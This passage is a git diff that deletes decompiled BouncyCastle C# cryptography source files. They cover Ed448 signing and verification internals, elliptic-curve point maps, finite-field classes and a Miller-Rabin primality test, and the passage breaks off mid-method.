uint[] array3 = X448Field.Create(); - uint[] array4 = X448Field.Create(); - uint[] array5 = X448Field.Create(); - uint[] array6 = X448Field.Create(); - X448Field.Add(r.x, r.y, array); - X448Field.Sqr(array, array); - X448Field.Sqr(r.x, array2); - X448Field.Sqr(r.y, array3); - X448Field.Add(array2, array3, array4); - X448Field.Carry(array4); - X448Field.Sqr(r.z, array5); - X448Field.Add(array5, array5, array5); - X448Field.Carry(array5); - X448Field.Sub(array4, array5, array6); - X448Field.Sub(array, array4, array); - X448Field.Sub(array2, array3, array2); - X448Field.Mul(array, array6, r.x); - X448Field.Mul(array4, array2, r.y); - X448Field.Mul(array4, array6, r.z); - } - - private static void PointExtendXY(PointExt p) - { - X448Field.One(p.z); - } - - private static void PointLookup(int block, int index, PointPrecomp p) - { - int num = block * 16 * 2 * 16; - for (int i = 0; i < 16; i++) - { - int mask = (i ^ index) - 1 >> 31; - Nat.CMov(16, mask, precompBase, num, p.x, 0); - num += 16; - Nat.CMov(16, mask, precompBase, num, p.y, 0); - num += 16; - } - } - - private static PointExt[] PointPrecompVar(PointExt p, int count) - { - PointExt pointExt = PointCopy(p); - PointDouble(pointExt); - PointExt[] array = new PointExt[count]; - array[0] = PointCopy(p); - for (int i = 1; i < count; i++) - { - array[i] = PointCopy(array[i - 1]); - PointAddVar(negate: false, pointExt, array[i]); - } - return array; - } - - private static void PointSetNeutral(PointExt p) - { - X448Field.Zero(p.x); - X448Field.One(p.y); - X448Field.One(p.z); - } - - public static void Precompute() - { - lock (precompLock) - { - if (precompBase != null) - { - return; - } - PointExt pointExt = new PointExt(); - X448Field.Copy(B_x, 0, pointExt.x, 0); - X448Field.Copy(B_y, 0, pointExt.y, 0); - PointExtendXY(pointExt); - precompBaseTable = PointPrecompVar(pointExt, 32); - precompBase = new uint[2560]; - int num = 0; - for (int i = 0; i < 5; i++) - { - PointExt[] array = new PointExt[5]; - PointExt pointExt2 = new PointExt(); - PointSetNeutral(pointExt2); - for (int j = 0; j < 5; j++) - { - PointAddVar(negate: true, pointExt, pointExt2); - PointDouble(pointExt); - array[j] = PointCopy(pointExt); - if (i + j != 8) - { - for (int k = 1; k < 18; k++) - { - PointDouble(pointExt); - } - } - } - PointExt[] array2 = new PointExt[16]; - int num2 = 0; - array2[num2++] = pointExt2; - for (int l = 0; l < 4; l++) - { - int num3 = 1 << l; - int num4 = 0; - while (num4 < num3) - { - array2[num2] = PointCopy(array2[num2 - num3]); - PointAddVar(negate: false, array[l], array2[num2]); - num4++; - num2++; - } - } - for (int m = 0; m < 16; m++) - { - PointExt pointExt3 = array2[m]; - X448Field.Inv(pointExt3.z, pointExt3.z); - X448Field.Mul(pointExt3.x, pointExt3.z, pointExt3.x); - X448Field.Mul(pointExt3.y, pointExt3.z, pointExt3.y); - X448Field.Copy(pointExt3.x, 0, precompBase, num); - num += 16; - X448Field.Copy(pointExt3.y, 0, precompBase, num); - num += 16; - } - } - } - } - - private static void PruneScalar(byte[] n, int nOff, byte[] r) - { - Array.Copy(n, nOff, r, 0, 56); - byte[] array; - (array = r)[0] = (byte)(array[0] & 0xFC); - (array = r)[55] = (byte)(array[55] | 0x80); - r[56] = 0; - } - - private static byte[] ReduceScalar(byte[] n) - { - ulong num = Decode32(n, 0); - ulong num2 = Decode24(n, 4) << 4; - ulong num3 = Decode32(n, 7); - ulong num4 = Decode24(n, 11) << 4; - ulong num5 = Decode32(n, 14); - ulong num6 = Decode24(n, 18) << 4; - ulong num7 = Decode32(n, 21); - ulong num8 = Decode24(n, 25) << 4; - ulong num9 = Decode32(n, 28); - ulong num10 = Decode24(n, 32) << 4; - ulong num11 = Decode32(n, 35); - ulong num12 = Decode24(n, 39) << 4; - ulong num13 = Decode32(n, 42); - ulong num14 = Decode24(n, 46) << 4; - ulong num15 = Decode32(n, 49); - ulong num16 = Decode24(n, 53) << 4; - ulong num17 = Decode32(n, 56); - ulong num18 = Decode24(n, 60) << 4; - ulong num19 = Decode32(n, 63); - ulong num20 = Decode24(n, 67) << 4; - ulong num21 = Decode32(n, 70); - ulong num22 = Decode24(n, 74) << 4; - ulong num23 = Decode32(n, 77); - ulong num24 = Decode24(n, 81) << 4; - ulong num25 = Decode32(n, 84); - ulong num26 = Decode24(n, 88) << 4; - ulong num27 = Decode32(n, 91); - ulong num28 = Decode24(n, 95) << 4; - ulong num29 = Decode32(n, 98); - ulong num30 = Decode24(n, 102) << 4; - ulong num31 = Decode32(n, 105); - ulong num32 = Decode24(n, 109) << 4; - ulong num33 = Decode16(n, 112); - num17 += num33 * 43969588; - num18 += num33 * 30366549; - num19 += num33 * 163752818; - num20 += num33 * 258169998; - num21 += num33 * 96434764; - num22 += num33 * 227822194; - num23 += num33 * 149865618; - num24 += num33 * 550336261; - num32 += num31 >> 28; - num31 &= 0xFFFFFFF; - num16 += num32 * 43969588; - num17 += num32 * 30366549; - num18 += num32 * 163752818; - num19 += num32 * 258169998; - num20 += num32 * 96434764; - num21 += num32 * 227822194; - num22 += num32 * 149865618; - num23 += num32 * 550336261; - num15 += num31 * 43969588; - num16 += num31 * 30366549; - num17 += num31 * 163752818; - num18 += num31 * 258169998; - num19 += num31 * 96434764; - num20 += num31 * 227822194; - num21 += num31 * 149865618; - num22 += num31 * 550336261; - num30 += num29 >> 28; - num29 &= 0xFFFFFFF; - num14 += num30 * 43969588; - num15 += num30 * 30366549; - num16 += num30 * 163752818; - num17 += num30 * 258169998; - num18 += num30 * 96434764; - num19 += num30 * 227822194; - num20 += num30 * 149865618; - num21 += num30 * 550336261; - num13 += num29 * 43969588; - num14 += num29 * 30366549; - num15 += num29 * 163752818; - num16 += num29 * 258169998; - num17 += num29 * 96434764; - num18 += num29 * 227822194; - num19 += num29 * 149865618; - num20 += num29 * 550336261; - num28 += num27 >> 28; - num27 &= 0xFFFFFFF; - num12 += num28 * 43969588; - num13 += num28 * 30366549; - num14 += num28 * 163752818; - num15 += num28 * 258169998; - num16 += num28 * 96434764; - num17 += num28 * 227822194; - num18 += num28 * 149865618; - num19 += num28 * 550336261; - num11 += num27 * 43969588; - num12 += num27 * 30366549; - num13 += num27 * 163752818; - num14 += num27 * 258169998; - num15 += num27 * 96434764; - num16 += num27 * 227822194; - num17 += num27 * 149865618; - num18 += num27 * 550336261; - num26 += num25 >> 28; - num25 &= 0xFFFFFFF; - num10 += num26 * 43969588; - num11 += num26 * 30366549; - num12 += num26 * 163752818; - num13 += num26 * 258169998; - num14 += num26 * 96434764; - num15 += num26 * 227822194; - num16 += num26 * 149865618; - num17 += num26 * 550336261; - num22 += num21 >> 28; - num21 &= 0xFFFFFFF; - num23 += num22 >> 28; - num22 &= 0xFFFFFFF; - num24 += num23 >> 28; - num23 &= 0xFFFFFFF; - num25 += num24 >> 28; - num24 &= 0xFFFFFFF; - num9 += num25 * 43969588; - num10 += num25 * 30366549; - num11 += num25 * 163752818; - num12 += num25 * 258169998; - num13 += num25 * 96434764; - num14 += num25 * 227822194; - num15 += num25 * 149865618; - num16 += num25 * 550336261; - num8 += num24 * 43969588; - num9 += num24 * 30366549; - num10 += num24 * 163752818; - num11 += num24 * 258169998; - num12 += num24 * 96434764; - num13 += num24 * 227822194; - num14 += num24 * 149865618; - num15 += num24 * 550336261; - num7 += num23 * 43969588; - num8 += num23 * 30366549; - num9 += num23 * 163752818; - num10 += num23 * 258169998; - num11 += num23 * 96434764; - num12 += num23 * 227822194; - num13 += num23 * 149865618; - num14 += num23 * 550336261; - num19 += num18 >> 28; - num18 &= 0xFFFFFFF; - num20 += num19 >> 28; - num19 &= 0xFFFFFFF; - num21 += num20 >> 28; - num20 &= 0xFFFFFFF; - num22 += num21 >> 28; - num21 &= 0xFFFFFFF; - num6 += num22 * 43969588; - num7 += num22 * 30366549; - num8 += num22 * 163752818; - num9 += num22 * 258169998; - num10 += num22 * 96434764; - num11 += num22 * 227822194; - num12 += num22 * 149865618; - num13 += num22 * 550336261; - num5 += num21 * 43969588; - num6 += num21 * 30366549; - num7 += num21 * 163752818; - num8 += num21 * 258169998; - num9 += num21 * 96434764; - num10 += num21 * 227822194; - num11 += num21 * 149865618; - num12 += num21 * 550336261; - num4 += num20 * 43969588; - num5 += num20 * 30366549; - num6 += num20 * 163752818; - num7 += num20 * 258169998; - num8 += num20 * 96434764; - num9 += num20 * 227822194; - num10 += num20 * 149865618; - num11 += num20 * 550336261; - num16 += num15 >> 28; - num15 &= 0xFFFFFFF; - num17 += num16 >> 28; - num16 &= 0xFFFFFFF; - num18 += num17 >> 28; - num17 &= 0xFFFFFFF; - num19 += num18 >> 28; - num18 &= 0xFFFFFFF; - num3 += num19 * 43969588; - num4 += num19 * 30366549; - num5 += num19 * 163752818; - num6 += num19 * 258169998; - num7 += num19 * 96434764; - num8 += num19 * 227822194; - num9 += num19 * 149865618; - num10 += num19 * 550336261; - num2 += num18 * 43969588; - num3 += num18 * 30366549; - num4 += num18 * 163752818; - num5 += num18 * 258169998; - num6 += num18 * 96434764; - num7 += num18 * 227822194; - num8 += num18 * 149865618; - num9 += num18 * 550336261; - num17 *= 4; - num17 += num16 >> 26; - num16 &= 0x3FFFFFF; - num17++; - num += num17 * 78101261; - num2 += num17 * 141809365; - num3 += num17 * 175155932; - num4 += num17 * 64542499; - num5 += num17 * 158326419; - num6 += num17 * 191173276; - num7 += num17 * 104575268; - num8 += num17 * 137584065; - num2 += num >> 28; - num &= 0xFFFFFFF; - num3 += num2 >> 28; - num2 &= 0xFFFFFFF; - num4 += num3 >> 28; - num3 &= 0xFFFFFFF; - num5 += num4 >> 28; - num4 &= 0xFFFFFFF; - num6 += num5 >> 28; - num5 &= 0xFFFFFFF; - num7 += num6 >> 28; - num6 &= 0xFFFFFFF; - num8 += num7 >> 28; - num7 &= 0xFFFFFFF; - num9 += num8 >> 28; - num8 &= 0xFFFFFFF; - num10 += num9 >> 28; - num9 &= 0xFFFFFFF; - num11 += num10 >> 28; - num10 &= 0xFFFFFFF; - num12 += num11 >> 28; - num11 &= 0xFFFFFFF; - num13 += num12 >> 28; - num12 &= 0xFFFFFFF; - num14 += num13 >> 28; - num13 &= 0xFFFFFFF; - num15 += num14 >> 28; - num14 &= 0xFFFFFFF; - num16 += num15 >> 28; - num15 &= 0xFFFFFFF; - num17 = num16 >> 26; - num16 &= 0x3FFFFFF; - num17--; - num -= num17 & 0x4A7BB0D; - num2 -= num17 & 0x873D6D5; - num3 -= num17 & 0xA70AADC; - num4 -= num17 & 0x3D8D723; - num5 -= num17 & 0x96FDE93; - num6 -= num17 & 0xB65129C; - num7 -= num17 & 0x63BB124; - num8 -= num17 & 0x8335DC1; - num2 += (ulong)((long)num >> 28); - num &= 0xFFFFFFF; - num3 += (ulong)((long)num2 >> 28); - num2 &= 0xFFFFFFF; - num4 += (ulong)((long)num3 >> 28); - num3 &= 0xFFFFFFF; - num5 += (ulong)((long)num4 >> 28); - num4 &= 0xFFFFFFF; - num6 += (ulong)((long)num5 >> 28); - num5 &= 0xFFFFFFF; - num7 += (ulong)((long)num6 >> 28); - num6 &= 0xFFFFFFF; - num8 += (ulong)((long)num7 >> 28); - num7 &= 0xFFFFFFF; - num9 += (ulong)((long)num8 >> 28); - num8 &= 0xFFFFFFF; - num10 += (ulong)((long)num9 >> 28); - num9 &= 0xFFFFFFF; - num11 += (ulong)((long)num10 >> 28); - num10 &= 0xFFFFFFF; - num12 += (ulong)((long)num11 >> 28); - num11 &= 0xFFFFFFF; - num13 += (ulong)((long)num12 >> 28); - num12 &= 0xFFFFFFF; - num14 += (ulong)((long)num13 >> 28); - num13 &= 0xFFFFFFF; - num15 += (ulong)((long)num14 >> 28); - num14 &= 0xFFFFFFF; - num16 += (ulong)((long)num15 >> 28); - num15 &= 0xFFFFFFF; - byte[] array = new byte[57]; - Encode56(num | (num2 << 28), array, 0); - Encode56(num3 | (num4 << 28), array, 7); - Encode56(num5 | (num6 << 28), array, 14); - Encode56(num7 | (num8 << 28), array, 21); - Encode56(num9 | (num10 << 28), array, 28); - Encode56(num11 | (num12 << 28), array, 35); - Encode56(num13 | (num14 << 28), array, 42); - Encode56(num15 | (num16 << 28), array, 49); - return array; - } - - private static void ScalarMultBase(byte[] k, PointExt r) - { - Precompute(); - PointSetNeutral(r); - uint[] array = new uint[15]; - DecodeScalar(k, 0, array); - array[14] = 4 + Nat.CAdd(14, (int)(~array[0] & 1), array, L, array); - uint num = Nat.ShiftDownBit(array.Length, array, 0u); - PointPrecomp pointPrecomp = new PointPrecomp(); - int num2 = 17; - while (true) - { - int num3 = num2; - for (int i = 0; i < 5; i++) - { - uint num4 = 0u; - for (int j = 0; j < 5; j++) - { - uint num5 = array[num3 >> 5] >> num3; - num4 &= (uint)(~(1 << j)); - num4 ^= num5 << j; - num3 += 18; - } - int num6 = (int)((num4 >> 4) & 1); - int index = (int)((num4 ^ (uint)(-num6)) & 0xF); - PointLookup(i, index, pointPrecomp); - X448Field.CNegate(num6, pointPrecomp.x); - PointAddPrecomp(pointPrecomp, r); - } - if (--num2 < 0) - { - break; - } - PointDouble(r); - } - } - - private static void ScalarMultBaseEncoded(byte[] k, byte[] r, int rOff) - { - PointExt pointExt = new PointExt(); - ScalarMultBase(k, pointExt); - EncodePoint(pointExt, r, rOff); - } - - internal static void ScalarMultBaseXY(byte[] k, int kOff, uint[] x, uint[] y) - { - byte[] array = new byte[57]; - PruneScalar(k, kOff, array); - PointExt pointExt = new PointExt(); - ScalarMultBase(array, pointExt); - X448Field.Copy(pointExt.x, 0, x, 0); - X448Field.Copy(pointExt.y, 0, y, 0); - } - - private static void ScalarMultStraussVar(uint[] nb, uint[] np, PointExt p, PointExt r) - { - Precompute(); - int num = 5; - sbyte[] wnaf = GetWnaf(nb, 7); - sbyte[] wnaf2 = GetWnaf(np, num); - PointExt[] array = PointPrecompVar(p, 1 << num - 2); - PointSetNeutral(r); - int num2 = 447; - while (num2 > 0 && ((byte)wnaf[num2] | (byte)wnaf2[num2]) == 0) - { - num2--; - } - while (true) - { - int num3 = wnaf[num2]; - if (num3 != 0) - { - int num4 = num3 >> 31; - int num5 = (num3 ^ num4) >> 1; - PointAddVar(num4 != 0, precompBaseTable[num5], r); - } - int num6 = wnaf2[num2]; - if (num6 != 0) - { - int num7 = num6 >> 31; - int num8 = (num6 ^ num7) >> 1; - PointAddVar(num7 != 0, array[num8], r); - } - if (--num2 < 0) - { - break; - } - PointDouble(r); - } - } - - public static void Sign(byte[] sk, int skOff, byte[] ctx, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - byte phflag = 0; - ImplSign(sk, skOff, ctx, phflag, m, mOff, mLen, sig, sigOff); - } - - public static void Sign(byte[] sk, int skOff, byte[] pk, int pkOff, byte[] ctx, byte[] m, int mOff, int mLen, byte[] sig, int sigOff) - { - byte phflag = 0; - ImplSign(sk, skOff, pk, pkOff, ctx, phflag, m, mOff, mLen, sig, sigOff); - } - - public static void SignPrehash(byte[] sk, int skOff, byte[] ctx, byte[] ph, int phOff, byte[] sig, int sigOff) - { - byte phflag = 1; - ImplSign(sk, skOff, ctx, phflag, ph, phOff, PrehashSize, sig, sigOff); - } - - public static void SignPrehash(byte[] sk, int skOff, byte[] pk, int pkOff, byte[] ctx, byte[] ph, int phOff, byte[] sig, int sigOff) - { - byte phflag = 1; - ImplSign(sk, skOff, pk, pkOff, ctx, phflag, ph, phOff, PrehashSize, sig, sigOff); - } - - public static void SignPrehash(byte[] sk, int skOff, byte[] ctx, IXof ph, byte[] sig, int sigOff) - { - byte[] array = new byte[PrehashSize]; - if (PrehashSize != ph.DoFinal(array, 0, PrehashSize)) - { - throw new ArgumentException("ph"); - } - byte phflag = 1; - ImplSign(sk, skOff, ctx, phflag, array, 0, array.Length, sig, sigOff); - } - - public static void SignPrehash(byte[] sk, int skOff, byte[] pk, int pkOff, byte[] ctx, IXof ph, byte[] sig, int sigOff) - { - byte[] array = new byte[PrehashSize]; - if (PrehashSize != ph.DoFinal(array, 0, PrehashSize)) - { - throw new ArgumentException("ph"); - } - byte phflag = 1; - ImplSign(sk, skOff, pk, pkOff, ctx, phflag, array, 0, array.Length, sig, sigOff); - } - - public static bool Verify(byte[] sig, int sigOff, byte[] pk, int pkOff, byte[] ctx, byte[] m, int mOff, int mLen) - { - byte phflag = 0; - return ImplVerify(sig, sigOff, pk, pkOff, ctx, phflag, m, mOff, mLen); - } - - public static bool VerifyPrehash(byte[] sig, int sigOff, byte[] pk, int pkOff, byte[] ctx, byte[] ph, int phOff) - { - byte phflag = 1; - return ImplVerify(sig, sigOff, pk, pkOff, ctx, phflag, ph, phOff, PrehashSize); - } - - public static bool VerifyPrehash(byte[] sig, int sigOff, byte[] pk, int pkOff, byte[] ctx, IXof ph) - { - byte[] array = new byte[PrehashSize]; - if (PrehashSize != ph.DoFinal(array, 0, PrehashSize)) - { - throw new ArgumentException("ph"); - } - byte phflag = 1; - return ImplVerify(sig, sigOff, pk, pkOff, ctx, phflag, array, 0, array.Length); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ScaleXPointMap.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ScaleXPointMap.cs deleted file mode 100644 index a8dabbf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ScaleXPointMap.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Math.EC; - -public class ScaleXPointMap : ECPointMap -{ - protected readonly ECFieldElement scale; - - public ScaleXPointMap(ECFieldElement scale) - { - this.scale = scale; - } - - public virtual ECPoint Map(ECPoint p) - { - return p.ScaleX(scale); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ScaleYPointMap.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ScaleYPointMap.cs deleted file mode 100644 index 5a30d15..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ScaleYPointMap.cs +++ /dev/null @@ -1,16 +0,0 @@ -namespace Org.BouncyCastle.Math.EC; - -public class ScaleYPointMap : ECPointMap -{ - protected readonly ECFieldElement scale; - - public ScaleYPointMap(ECFieldElement scale) - { - this.scale = scale; - } - - public virtual ECPoint Map(ECPoint p) - { - return p.ScaleY(scale); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/SimpleLookupTable.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/SimpleLookupTable.cs deleted file mode 100644 index cc4d283..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/SimpleLookupTable.cs +++ /dev/null @@ -1,28 +0,0 @@ -namespace Org.BouncyCastle.Math.EC; - -public class SimpleLookupTable : ECLookupTable -{ - private readonly ECPoint[] points; - - public virtual int Size => points.Length; - - private static ECPoint[] Copy(ECPoint[] points, int off, int len) - { - ECPoint[] array = new ECPoint[len]; - for (int i = 0; i < len; i++) - { - array[i] = points[off + i]; - } - return array; - } - - public SimpleLookupTable(ECPoint[] points, int off, int len) - { - this.points = Copy(points, off, len); - } - - public virtual ECPoint Lookup(int index) - { - return points[index]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/FiniteFields.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/FiniteFields.cs deleted file mode 100644 index 2718e33..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/FiniteFields.cs +++ /dev/null @@ -1,46 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.Field; - -public abstract class FiniteFields -{ - internal static readonly IFiniteField GF_2 = new PrimeField(BigInteger.ValueOf(2L)); - - internal static readonly IFiniteField GF_3 = new PrimeField(BigInteger.ValueOf(3L)); - - public static IPolynomialExtensionField GetBinaryExtensionField(int[] exponents) - { - if (exponents[0] != 0) - { - throw new ArgumentException("Irreducible polynomials in GF(2) must have constant term", "exponents"); - } - for (int i = 1; i < exponents.Length; i++) - { - if (exponents[i] <= exponents[i - 1]) - { - throw new ArgumentException("Polynomial exponents must be montonically increasing", "exponents"); - } - } - return new GenericPolynomialExtensionField(GF_2, new GF2Polynomial(exponents)); - } - - public static IFiniteField GetPrimeField(BigInteger characteristic) - { - int bitLength = characteristic.BitLength; - if (characteristic.SignValue <= 0 || bitLength < 2) - { - throw new ArgumentException("Must be >= 2", "characteristic"); - } - if (bitLength < 3) - { - switch (characteristic.IntValue) - { - case 2: - return GF_2; - case 3: - return GF_3; - } - } - return new PrimeField(characteristic); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/GF2Polynomial.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/GF2Polynomial.cs deleted file mode 100644 index 8424f92..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/GF2Polynomial.cs +++ /dev/null @@ -1,38 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.Field; - -internal class GF2Polynomial : IPolynomial -{ - protected readonly int[] exponents; - - public virtual int Degree => exponents[exponents.Length - 1]; - - internal GF2Polynomial(int[] exponents) - { - this.exponents = Arrays.Clone(exponents); - } - - public virtual int[] GetExponentsPresent() - { - return Arrays.Clone(exponents); - } - - public override bool Equals(object obj) - { - if (this == obj) - { - return true; - } - if (!(obj is GF2Polynomial gF2Polynomial)) - { - return false; - } - return Arrays.AreEqual(exponents, gF2Polynomial.exponents); - } - - public override int GetHashCode() - { - return Arrays.GetHashCode(exponents); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/GenericPolynomialExtensionField.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/GenericPolynomialExtensionField.cs deleted file mode 100644 index 4d21093..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/GenericPolynomialExtensionField.cs +++ /dev/null @@ -1,48 +0,0 @@ -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.Field; - -internal class GenericPolynomialExtensionField : IPolynomialExtensionField, IExtensionField, IFiniteField -{ - protected readonly IFiniteField subfield; - - protected readonly IPolynomial minimalPolynomial; - - public virtual BigInteger Characteristic => subfield.Characteristic; - - public virtual int Dimension => subfield.Dimension * minimalPolynomial.Degree; - - public virtual IFiniteField Subfield => subfield; - - public virtual int Degree => minimalPolynomial.Degree; - - public virtual IPolynomial MinimalPolynomial => minimalPolynomial; - - internal GenericPolynomialExtensionField(IFiniteField subfield, IPolynomial polynomial) - { - this.subfield = subfield; - minimalPolynomial = polynomial; - } - - public override bool Equals(object obj) - { - if (this == obj) - { - return true; - } - if (!(obj is GenericPolynomialExtensionField genericPolynomialExtensionField)) - { - return false; - } - if (subfield.Equals(genericPolynomialExtensionField.subfield)) - { - return minimalPolynomial.Equals(genericPolynomialExtensionField.minimalPolynomial); - } - return false; - } - - public override int GetHashCode() - { - return subfield.GetHashCode() ^ Integers.RotateLeft(minimalPolynomial.GetHashCode(), 16); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IExtensionField.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IExtensionField.cs deleted file mode 100644 index 177063e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IExtensionField.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Math.Field; - -public interface IExtensionField : IFiniteField -{ - IFiniteField Subfield { get; } - - int Degree { get; } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IFiniteField.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IFiniteField.cs deleted file mode 100644 index 0dc3b98..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IFiniteField.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Math.Field; - -public interface IFiniteField -{ - BigInteger Characteristic { get; } - - int Dimension { get; } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IPolynomial.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IPolynomial.cs deleted file mode 100644 index 5da5163..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IPolynomial.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Math.Field; - -public interface IPolynomial -{ - int Degree { get; } - - int[] GetExponentsPresent(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IPolynomialExtensionField.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IPolynomialExtensionField.cs deleted file mode 100644 index f18e9e7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/IPolynomialExtensionField.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Math.Field; - -public interface IPolynomialExtensionField : IExtensionField, IFiniteField -{ - IPolynomial MinimalPolynomial { get; } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/PrimeField.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/PrimeField.cs deleted file mode 100644 index 58deb89..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Field/PrimeField.cs +++ /dev/null @@ -1,33 +0,0 @@ -namespace Org.BouncyCastle.Math.Field; - -internal class PrimeField : IFiniteField -{ - protected readonly BigInteger characteristic; - - public virtual BigInteger Characteristic => characteristic; - - public virtual int Dimension => 1; - - internal PrimeField(BigInteger characteristic) - { - this.characteristic = characteristic; - } - - public override bool Equals(object obj) - { - if (this == obj) - { - return true; - } - if (!(obj is PrimeField primeField)) - { - return false; - } - return characteristic.Equals(primeField.characteristic); - } - - public override int GetHashCode() - { - return characteristic.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Primes.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Primes.cs deleted file mode 100644 index 40b6443..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Primes.cs +++ /dev/null @@ -1,500 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math; - -public abstract class Primes -{ - public class MROutput - { - private readonly bool mProvablyComposite; - - private readonly BigInteger mFactor; - - public BigInteger Factor => mFactor; - - public bool IsProvablyComposite => mProvablyComposite; - - public bool IsNotPrimePower - { - get - { - if (mProvablyComposite) - { - return mFactor == null; - } - return false; - } - } - - internal static MROutput ProbablyPrime() - { - return new MROutput(provablyComposite: false, null); - } - - internal static MROutput ProvablyCompositeWithFactor(BigInteger factor) - { - return new MROutput(provablyComposite: true, factor); - } - - internal static MROutput ProvablyCompositeNotPrimePower() - { - return new MROutput(provablyComposite: true, null); - } - - private MROutput(bool provablyComposite, BigInteger factor) - { - mProvablyComposite = provablyComposite; - mFactor = factor; - } - } - - public class STOutput - { - private readonly BigInteger mPrime; - - private readonly byte[] mPrimeSeed; - - private readonly int mPrimeGenCounter; - - public BigInteger Prime => mPrime; - - public byte[] PrimeSeed => mPrimeSeed; - - public int PrimeGenCounter => mPrimeGenCounter; - - internal STOutput(BigInteger prime, byte[] primeSeed, int primeGenCounter) - { - mPrime = prime; - mPrimeSeed = primeSeed; - mPrimeGenCounter = primeGenCounter; - } - } - - public static readonly int SmallFactorLimit = 211; - - private static readonly BigInteger One = BigInteger.One; - - private static readonly BigInteger Two = BigInteger.Two; - - private static readonly BigInteger Three = BigInteger.Three; - - public static STOutput GenerateSTRandomPrime(IDigest hash, int length, byte[] inputSeed) - { - if (hash == null) - { - throw new ArgumentNullException("hash"); - } - if (length < 2) - { - throw new ArgumentException("must be >= 2", "length"); - } - if (inputSeed == null) - { - throw new ArgumentNullException("inputSeed"); - } - if (inputSeed.Length == 0) - { - throw new ArgumentException("cannot be empty", "inputSeed"); - } - return ImplSTRandomPrime(hash, length, Arrays.Clone(inputSeed)); - } - - public static MROutput EnhancedMRProbablePrimeTest(BigInteger candidate, SecureRandom random, int iterations) - { - CheckCandidate(candidate, "candidate"); - if (random == null) - { - throw new ArgumentNullException("random"); - } - if (iterations < 1) - { - throw new ArgumentException("must be > 0", "iterations"); - } - if (candidate.BitLength == 2) - { - return MROutput.ProbablyPrime(); - } - if (!candidate.TestBit(0)) - { - return MROutput.ProvablyCompositeWithFactor(Two); - } - BigInteger bigInteger = candidate.Subtract(One); - BigInteger max = candidate.Subtract(Two); - int lowestSetBit = bigInteger.GetLowestSetBit(); - BigInteger e = bigInteger.ShiftRight(lowestSetBit); - for (int i = 0; i < iterations; i++) - { - BigInteger bigInteger2 = BigIntegers.CreateRandomInRange(Two, max, random); - BigInteger bigInteger3 = bigInteger2.Gcd(candidate); - if (bigInteger3.CompareTo(One) > 0) - { - return MROutput.ProvablyCompositeWithFactor(bigInteger3); - } - BigInteger bigInteger4 = bigInteger2.ModPow(e, candidate); - if (bigInteger4.Equals(One) || bigInteger4.Equals(bigInteger)) - { - continue; - } - bool flag = false; - BigInteger bigInteger5 = bigInteger4; - for (int j = 1; j < lowestSetBit; j++) - { - bigInteger4 = bigInteger4.ModPow(Two, candidate); - if (bigInteger4.Equals(bigInteger)) - { - flag = true; - break; - } - if (bigInteger4.Equals(One)) - { - break; - } - bigInteger5 = bigInteger4; - } - if (flag) - { - continue; - 